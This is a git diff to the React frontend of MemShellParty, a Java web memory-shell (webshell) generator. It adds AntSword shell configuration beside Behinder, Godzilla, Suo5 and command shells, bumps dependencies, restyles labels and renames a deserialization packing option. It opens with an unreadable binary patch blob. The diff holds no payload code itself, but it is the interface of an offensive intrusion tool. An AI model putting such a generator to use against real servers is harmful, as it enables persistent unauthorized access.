z68ZkMm&U(;eaxco{#^Jf0-1qvg^&kIwe!cUyKHQV8A? z+X&VQ=hlGtMLNL;Vi&=O!m|xvoft!~UKA62Bz(<)j|CoiTi6CsLa;!>BCkVb4Nu40D>kPpT66_Mj&Jb)R!HCWf>=xS~ zV0(mf3}CNFC)g);5$qS9v48_&3_-CdCO9a3y8sS}i3Ep>O1dy_hb64ei?lLcrpdZyA)lhGqhDus?rXN%kWS);&A zO%;h(G$51w}|1`f4(t zgQSt9IY&i}V%AUu7qhk5^H9VbP$6gmh)#OvgXV%}gXmD+8{`A>1=R=nftrAtf|`NI z&*WF~V4aK zW>R}lC@36spE?4p3bFw)&=bi11XTfV2Qq-@Dc>Wq1u@Vwu=FJU7Kono-zGoZ0P{QO zCg>N?WpV8wYvf61<)cAkKx07^30a_VBIFQr37i6UDu_p8 zsfU<%l>uOrZN$PutbcYiTG9?gkNPPL13|SxZXj1seULk-0mutf2jl_r1l0rifV@Gz zAb${rcP&s|kROPCO7I3~HE0#+T@XEaZ3d6v`6ixyfT<1g0wq8}54t;nI)doocn45C zs0)a0kexv>pst`;P$H-|s2_-ei-PVoP#@6iAPb11lb&lofJf=a6URWMpbL`t`7o;; zOOKSCK}OJ9py{A#pga)G4tg}z0hEP2_;sc<7KF7;c|zO}dO8=R=jc5}>=721eFsT; zJk|+WUWeHiP<;tH4E_*k4~QP8;TJ|yZP?HgDSD*(Er<@rPJ`%q9X-RNNlcTr6!atL z66iAMB4`Kl(?q3-NzVZtfj7vfG%M*j8_mRLAex#CL=T-3KuMq;phQqtP+w3_Pz{_0{m@!OuAz_KCB@V|LKRxY%95p-Q4y8tt1>b26ss+KPBOb}GOAjMp#x;J zD%1c`ldFTOfhxAEvV6LX+DTzJv$d!EYU7pOyOEPgR9Kr@BoY33G4ZK90y(ML+}cN6H!9jNppnp~r+D{~9g zr`M(5YIN67y=7v}3FhwkV)Jy*s6)}0)a39WP@65_qEF`F9PzwlXiFKFozp!6?)N;?x zS>5ee|B#@N;1)q4{?Jr|W8&{)#AK7=Kra|K#K~oo+*0nCr z@o)=pf(DMGJhd@<%04NKmLqs3W^(D-A`-1zP_86FMEe^V9Vx z%?c&c&XfGRRgC-Ny$h?xTQystp|I#&bwuNVuXvYenn+1H2o1im$)+x}C ztI)Y~&`{@^ee#iSk5>6fW~jo0A|l|%TToFKe(7-7E8KNObG0~%GWse&U3hTE<6pyT zWwkBWgn2_l{`GiG-t|M--C@uml7d1oWxCyEwX^k?Iq3f_34LgbpwOUD$%LE~pL?Wh zz3vpIHBoZ5Fd-7hrlt(a!syKZ<;(@o`Fj>oZ4|k|%2yZa@W)P5-G1EgWdSsZK#G9A zD9s4XWRIxF=`(u|(eh+NHwY^1Q*zp_3kq3rdv!2Wrl4>%LivV-ol8#k%B?nG(IYoe zrtly*O3K!{wJ~VZF~_jxvs4Y@P{RNGj-(e#{B|ZYXhx>j7o7@#I7)SNPp$P2{F6M8bXMQKu=K6o8^$9A75}i?{AGAGiMDYN&Txnw0#(&mK=? zhR_t=x0pK{D@yJ&-#YqR8m4X?mw6!aWT;YEXiGS`dW5L)0DY+&Ap#ztFU=9`)x~*l z*-MOlzy`AM;x!*RN|qwTQXe^#EfR-(gey?*zQ`ZX1{sM@@yHFuog65 z984nk5%UPw-_+4#`R~8CU0qUUwa{MXk#j0^`?Eqk7O`puiz$zor{?3tp#bY{l=rZNF z)j)qMiK)@X$j~RpI$1SoBK|QNqQAzZ_l2+5%)Fah+iI|0^sdwk$Y^ zW;_NqTC9G84g^H2E6_V$!C!rMZ4fpyxTm4_we_4`sXN~#(cB^f0J5l{9^YGID`90ru!_WcFuS~F7 zBntCWv`qi^dLH$g->|~v`BsBGvA|!hWs7PSi9#~f|DoQ_xlNO;Y|&w>>2|RT26C+~ z;s>f!f8)uw*G_Jn{_ed(8X#qfmwE_1lJ*SOUy-t48~@jl%+6J<2Kq}>@_+69!RH@z zZEMwR7X6UbOMmOiGKW_^cg6fs(`s->EP#RR8YecCp%MCPTZ*HmBnOY1*~@C!S6nP( z@$4(n>>2D`5=6{17Rq{x$w+$XFGn#Yr4PBiCMd`jTODNJNR3tBccAGG^q{s?^4)XRRdI7If8y?QS0Dtmb8 z?{}F}^6a}e#vC1LHS4uFTlT~$_C*gsiP+^XdoDhVb^0eU+X<4#f-w~1WDz@^WDmKK zMf~n2d*G;aO&w?xMM`x*mYC-Z;3B&=;Bzsro;-kkFQQ#!PviF%?A&P`6s0xgFtJ*e zYm%yp99FJUYki?i#om)82tS*@Qy9whww2RftW|BGnCc+cR;n(qQ|*9oGRU1O&x2h^17Z2HNAV~ft4V9Ygzl3E=EzR z@`$RmAOuXs0?r8sicBp|H9tL997Yp?#9=`S2d->MzdENzfgT$P=xZ77cbt`p@>@`S~d15}R z4w54ViPxQx)Y_e;&TGwW+Vob2^KbR(Ik)Qzf}b9P`m2uitO(xwFwf2(QHJjp^u;Vi zOmV?98!tY^0>Wm9LoRYh`vrs5|7j`SR4g`n%T3rRan@VTMV!BUug>m> z6~3}(9sQMgUp)Kmj(zQeI3C9CFp|D)1)9V$U)dwPvW>ZFp}&W(O4jkg8Q=baji#PA zPt>iC8K!K^U8<_q%J$roT@u5gs-wT_@8@WLyL;_B?6KzcixjKtqu$E);c7|x`vVu| z)=8Q={$7AJ?`&~{>Q(mPdcDeS+>>1tQGTdbe@CI?rIL`Qe;)eNnim`K(SBH>l#O_; zdidgX9h-34-5#i#AUa(g@r|~Jgr-dFKw+}F7k4Aumu$zOX)UTXK%2_<-Vl}Vy}>Jc zZ>739+GhIPv>}~BmVCdw@htruMBb_*8B)|LY)Pil% z){N@*+avrXdvBEVl07#x%AQ+k*h{wEuu-<%p7<8{u|IAnFWGa$PT6xSEk7Wlo5*ek zIww0Je1m1TD#Vsf6hRHKo77)v)_R{^Krg%fI2LG(9SeONL`p-rK*{bZ<~5WJ_^C!U zY((iN4vlqd$KAbq!BXo7jcc`iN?e!%5#?-Md@x6tTv07RKWsZ zmnpmm@HKKdCOopF{F(#zbANzo&8|hA&ut8{$h3ocaow)&y_BF;@$`cxZ8y3z6z5xCn-)$Q%6bll{(0Z+my_z zRIN)mHI-X1#exb`heu3kD(9&skZ-kuD~_3`7}!jHTWoHIFB7N5vu5z!%NEl}Nq=A2 zgRb*#hWz9=)Y{)!B0dPd%M>fa0ZJ#e_;Rlo`4?*}V)a;1rLjt$q_2+ag-vrg&1(;i zbZcYy`VEdf{h{=zu`+DRaq|VSsyWSD7|_|N{<1U0pe4@eB}ME=Stp zcuMh-?s?HOSdLH~r#D%A6)Y!IHYMD}t0B;bG?HBh#MA2X|2!$t=x$Y{y4wVgFl^#VX#;e6e z7>8H7{3r&ME+&fRx@Z=L3FWFSmmZHFhx9xck*chEih;7c(s9OQ*wv}@j6$))>bN;f z_K2u-eN!wJwbSkZ_jA18T-%3R>j;PzWytGQ=|PQ>S6T3B(T;0@)>gVkD|U$@8wTp3 zimTYzLiT3M#SzL=c~sL*_Jm;NLF*=h!*T0XW{;a84Dt8;ER9rWX?dip3!V5j93iAx zYQd#yY$7FfCDXO)Y{#6?-wD{_&BCR3-u&!>I+r4_@6gsfrYxE6Hrm==UgdL>t8S#E zziiO7+BCO+>Ye%4s8g2Gj&}N@ET%TX3Q=)!aTg6D(eS@qRH;SkqWaug|NP2NQ{K5H z9KTdF0eI;zD0KWoEb(r0bTu7hsE>{IiUBZ)(BEiS60xP-*WcdhZ#B^0dAMUkjJb{_ za+Ot6W0~00Qub(|za_EHyta9px?J+JS|s2sl|D|b#PybPI}!Yfyt($b>FTZEt;q1h zY(kB)wyjj7DrbrwzasZ;%7R7rH2HOLXP)d+bSO3E1U&*JdioqYqK4SA=xvJRwjcgF}cFQ%ypxts)F*Hi9DLU+y zb1Eq250)E=J-g+PmGx%q9(j^5?v)+9vha4!tdv2+n~zT)n>8*aquG%3jMQdhM~%x$ z6|Q^bj$-FNIk_l#ubj+8n+(+DvtRb5GKxCvmzOwJi=lsA#|Q7b7LLWtA3v6R_w9^z K;&uX?|GxllYTu^- diff --git a/web/package.json b/web/package.json index fb63ce00..f94a75ba 100644 --- a/web/package.json +++ b/web/package.json @@ -13,10 +13,10 @@ }, "devDependencies": { "@biomejs/biome": "1.9.4", - "@tanstack/router-plugin": "^1.104.1", + "@tanstack/router-plugin": "^1.105.0", "@types/node": "^22.13.4", - "@types/react": "^19.0.8", - "@types/react-dom": "^19.0.3", + "@types/react": "^19.0.10", + "@types/react-dom": "^19.0.4", "@vitejs/plugin-react": "^4.3.4", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-syntax-highlighter": "^15.5.13", @@ -25,7 +25,7 @@ "vite": "^6.1.0" }, "dependencies": { - "@hookform/resolvers": "^4.0.0", + "@hookform/resolvers": "^4.1.0", "@radix-ui/react-alert-dialog": "^1.1.6", "@radix-ui/react-checkbox": "^1.1.4", "@radix-ui/react-dropdown-menu": "^2.1.6", @@ -38,9 +38,9 @@ "@radix-ui/react-tabs": "^1.1.3", "@radix-ui/react-tooltip": "^1.1.8", "@tailwindcss/vite": "^4.0.6", - "@tanstack/react-query": "^5.66.0", - "@tanstack/react-router": "^1.104.1", - "@tanstack/router-devtools": "^1.104.3", + "@tanstack/react-query": "^5.66.7", + "@tanstack/react-router": "^1.105.0", + "@tanstack/router-devtools": "^1.105.0", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", "i18next": "^24.2.2", @@ -49,7 +49,7 @@ "react-copy-to-clipboard": "^5.1.0", "react-dom": "^19.0.0", "react-hook-form": "^7.54.2", - "react-i18next": "^15.4.0", + "react-i18next": "^15.4.1", "react-syntax-highlighter": "^15.6.1", "sonner": "^1.7.4", "tailwind-merge": "^3.0.1", diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx index e09f7e58..f0dc881c 100644 --- a/web/src/components/main-config-card.tsx +++ b/web/src/components/main-config-card.tsx @@ -136,7 +136,7 @@ export function MainConfigCard({ name="server" render={({ field }) => ( - {t("mainConfig.server")} + {t("mainConfig.server")} { if (Number.parseInt(v) >= 53) { @@ -255,7 +255,7 @@ export function MainConfigCard({ - + @@ -272,7 +272,7 @@ function ShellTypeFormField({ form, shellTypes }: { form: UseFormReturn ( - {t("mainConfig.shellMountType")} + {t("mainConfig.shellMountType")} )} @@ -327,7 +327,7 @@ function OptionalClassFormField({ form }: { form: UseFormReturn }) { name="shellClassName" render={({ field }) => ( - + {t("mainConfig.shellClassName")} {t("optional")} @@ -339,7 +339,7 @@ function OptionalClassFormField({ form }: { form: UseFormReturn }) { name="injectorClassName" render={({ field }) => ( - + {t("mainConfig.injectorClassName")} {t("optional")} @@ -366,8 +366,8 @@ function BehinderTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.behinderPass")} - + {t("shellToolConfig.behinderPass")} + )} /> @@ -377,7 +377,7 @@ function BehinderTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.headerName")} + {t("shellToolConfig.headerName")} )} @@ -387,7 +387,7 @@ function BehinderTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.headerValue")} + {t("shellToolConfig.headerValue")} )} @@ -418,7 +418,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.pass")} + {t("shellToolConfig.pass")} )} @@ -428,7 +428,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.key")} + {t("shellToolConfig.key")} )} @@ -438,7 +438,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.headerName")} + {t("shellToolConfig.headerName")} )} @@ -448,7 +448,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.headerValue")} + {t("shellToolConfig.headerValue")} )} @@ -478,7 +478,7 @@ function CommandTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.paramName")} + {t("shellToolConfig.paramName")} @@ -493,17 +493,54 @@ function CommandTabContent({ form, shellTypes }: { form: UseFormReturn; shellTypes: Array }) { + const { t } = useTranslation(); return ( - - - -

- WIP -
- - - + + + + +
+ + +
+ ( + + {t("shellToolConfig.antSwordPass")} + + + )} + /> +
+ ( + + {t("shellToolConfig.headerName")} + + + )} + /> + ( + + {t("shellToolConfig.headerValue")} + + + )} + /> +
+ +
+
+
+
); } @@ -524,7 +561,7 @@ function Suo5TabContent({ form, shellTypes }: { form: UseFormReturn; name="headerName" render={({ field }) => ( - {t("shellToolConfig.headerName")} + {t("shellToolConfig.headerName")} )} @@ -534,7 +571,7 @@ function Suo5TabContent({ form, shellTypes }: { form: UseFormReturn; name="headerValue" render={({ field }) => ( - {t("shellToolConfig.headerValue")} + {t("shellToolConfig.headerValue")} )} diff --git a/web/src/components/package-config-card.tsx b/web/src/components/package-config-card.tsx index bb689769..6dff057d 100644 --- a/web/src/components/package-config-card.tsx +++ b/web/src/components/package-config-card.tsx @@ -67,7 +67,7 @@ export function PackageConfigCard({ name="packingMethod" render={({ field }) => ( - {t("packageConfig.title")} + {t("packageConfig.title")} {options.map(({ name, value }) => ( diff --git a/web/src/components/quick-usage.tsx b/web/src/components/quick-usage.tsx index 57691182..671ed538 100644 --- a/web/src/components/quick-usage.tsx +++ b/web/src/components/quick-usage.tsx @@ -1,4 +1,5 @@ import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; +import { ScrollTextIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; export function QuickUsage() { @@ -6,7 +7,10 @@ export function QuickUsage() { return ( - {t("quickUsage.title")} + + + {t("quickUsage.title")} +
    diff --git a/web/src/components/shell-result.tsx b/web/src/components/shell-result.tsx index ea99524f..41de3703 100644 --- a/web/src/components/shell-result.tsx +++ b/web/src/components/shell-result.tsx @@ -20,6 +20,7 @@ import { Separator } from "@/components/ui/separator.tsx"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx"; import { downloadBytes } from "@/lib/utils.ts"; import { + AntSwordShellToolConfig, BehinderShellToolConfig, CommandShellToolConfig, GenerateResult, @@ -27,7 +28,7 @@ import { Suo5ShellToolConfig, } from "@/types/shell.ts"; import { TFunction } from "i18next"; -import { CircleHelpIcon, TriangleAlertIcon } from "lucide-react"; +import { CircleHelpIcon, TicketCheckIcon, TriangleAlertIcon } from "lucide-react"; import { Fragment, useState } from "react"; import { useTranslation } from "react-i18next"; import { toast } from "sonner"; @@ -143,7 +144,10 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) { - {t("generateResult.basicInfo")} +
    + + {t("generateResult.basicInfo")} +
    @@ -216,6 +220,20 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) { /> )} + {generateResult?.shellConfig.shellTool === "AntSword" && ( + + + + + )} ; + } return ( - - {generateResult ? ( - - - {t("generateResult.title1")} - {t("generateResult.title2")} - {t("generateResult.title3")} - - -
    - -
    - {renderResultComponent(packResult, allPackResults, packMethod, t, generateResult)} -
    - - - - Warning - {t("tips.decompileTip")} - -
    - -
    - {generateResult?.shellClassName}} - wrapLongLines={true} - height={600} - code={generateResult?.shellBytesBase64Str ?? ""} - language="text" - /> -
    - - - - Warning - {t("tips.decompileTip")} - -
    - -
    - {generateResult?.injectorClassName}} - height={600} - code={generateResult?.injectorBytesBase64Str ?? ""} - language="text" - /> -
    -
    - ) : ( - - )} -
    + + + {t("generateResult.title1")} + {t("generateResult.title2")} + {t("generateResult.title3")} + + +
    + +
    + {renderResultComponent(packResult, allPackResults, packMethod, t, generateResult)} +
    + + + + Warning + {t("tips.decompileTip")} + +
    + +
    + {generateResult?.shellClassName}} + wrapLongLines={true} + height={600} + code={generateResult?.shellBytesBase64Str ?? ""} + language="text" + /> +
    + + + + Warning + {t("tips.decompileTip")} + +
    + +
    + {generateResult?.injectorClassName}} + height={600} + code={generateResult?.injectorBytesBase64Str ?? ""} + language="text" + /> +
    +
    ); } diff --git a/web/src/i18n/en.json b/web/src/i18n/en.json index 5490d4d4..35c62092 100644 --- a/web/src/i18n/en.json +++ b/web/src/i18n/en.json @@ -39,7 +39,9 @@ "behinderEncryptType": "Encrypt Type", "behinderDefaultEncryptType": "Default", "paramName": "Param Name", - "suo5Header": "AdvanceConfiguration -> Request Header" + "suo5Header": "AdvanceConfiguration -> Request Header", + "antSwordPass": "Shell pwd", + "httpHeader": "HTTP -> HTTP HEADERS" }, "packageConfig": { "title": "Package Method", @@ -57,7 +59,7 @@ "Velocity": "Velocity", "Groovy": "Groovy", "AgentJar": "AgentJar", - "Deserialize": "Deserialize(Only CB4, 1.9.x)", + "JavaDeserialize": "JavaDeserialize", "ScriptEngine": "ScriptEngine", "XxlJob": "XXL-JOB Executor", "JinJava": "JinJava", diff --git a/web/src/i18n/zh-CN.json b/web/src/i18n/zh-CN.json index 4e126aa7..328df7e2 100644 --- a/web/src/i18n/zh-CN.json +++ b/web/src/i18n/zh-CN.json @@ -39,7 +39,9 @@ "behinderEncryptType": "加密类型", "behinderDefaultEncryptType": "默认", "paramName": "请求参数", - "suo5Header": "高级配置 -> 请求头" + "suo5Header": "高级配置 -> 请求头", + "antSwordPass": "连接密码", + "httpHeader": "请求信息 -> HTTP HEADERS" }, "packageConfig": { "title": "打包方式", @@ -52,7 +54,7 @@ "BeanShell": "BeanShell 表达式", "Aviator": "Aviator 表达式", "JXPath": "JXPath 表达式", - "Deserialize": "反序列化(仅支持 CB4, 1.9.x)", + "JavaDeserialize": "Java反序列化", "ScriptEngine": "内置脚本引擎", "Rhino": "Rhino 脚本引擎" } diff --git a/web/src/routes/__root.tsx b/web/src/routes/__root.tsx index 1a417554..4dfcc1ba 100644 --- a/web/src/routes/__root.tsx +++ b/web/src/routes/__root.tsx @@ -14,8 +14,8 @@ function RootComponent() { return ( -
    -
    +
    +

    MemShellParty - JavaWeb

    @@ -46,7 +46,9 @@ function RootComponent() {
    - +
    + +
    ); diff --git a/web/src/routes/index.tsx b/web/src/routes/index.tsx index 0249ec51..e557a31d 100644 --- a/web/src/routes/index.tsx +++ b/web/src/routes/index.tsx @@ -44,6 +44,7 @@ function IndexComponent() { godzillaKey: "key", commandParamName: "cmd", behinderPass: "pass", + antSwordPass: "ant", headerName: "User-Agent", headerValue: "test", injectorClassName: "", diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts index 136afd3f..6e1a50b8 100644 --- a/web/src/types/schema.ts +++ b/web/src/types/schema.ts @@ -12,6 +12,7 @@ export const formSchema = z.object({ godzillaPass: z.optional(z.string()), godzillaKey: z.optional(z.string()), behinderPass: z.optional(z.string()), + antSwordPass: z.optional(z.string()), commandParamName: z.optional(z.string()), headerName: z.optional(z.string()), headerValue: z.optional(z.string()), diff --git a/web/src/types/shell.ts b/web/src/types/shell.ts index a9e448e9..7e25a1cd 100644 --- a/web/src/types/shell.ts +++ b/web/src/types/shell.ts @@ -14,6 +14,7 @@ export interface ShellToolConfig { godzillaKey?: string; commandParamName?: string; behinderPass?: string; + antSwordPass?: string; headerName?: string; headerValue?: string; } @@ -44,6 +45,13 @@ export interface Suo5ShellToolConfig { headerValue?: string; } +export interface AntSwordShellToolConfig { + shellClassName?: string; + pass?: string; + headerName?: string; + headerValue?: string; +} + export interface InjectorConfig { className?: string; classInheritance?: string; @@ -82,6 +90,6 @@ export interface GenerateResult { injectorSize: number; injectorBytesBase64Str: string; shellConfig: ShellConfig; - shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig | BehinderShellToolConfig; + shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig | BehinderShellToolConfig | AntSwordShellToolConfig; injectorConfig: InjectorConfig; } diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts index 20d26dc9..9ea856da 100644 --- a/web/src/utils/transformer.ts +++ b/web/src/utils/transformer.ts @@ -16,6 +16,7 @@ export function transformToPostData(formValue: FormSchema) { godzillaKey: formValue.godzillaKey, commandParamName: formValue.commandParamName, behinderPass: formValue.behinderPass, + antSwordPass: formValue.antSwordPass, headerName: formValue.headerName, headerValue: formValue.headerValue, };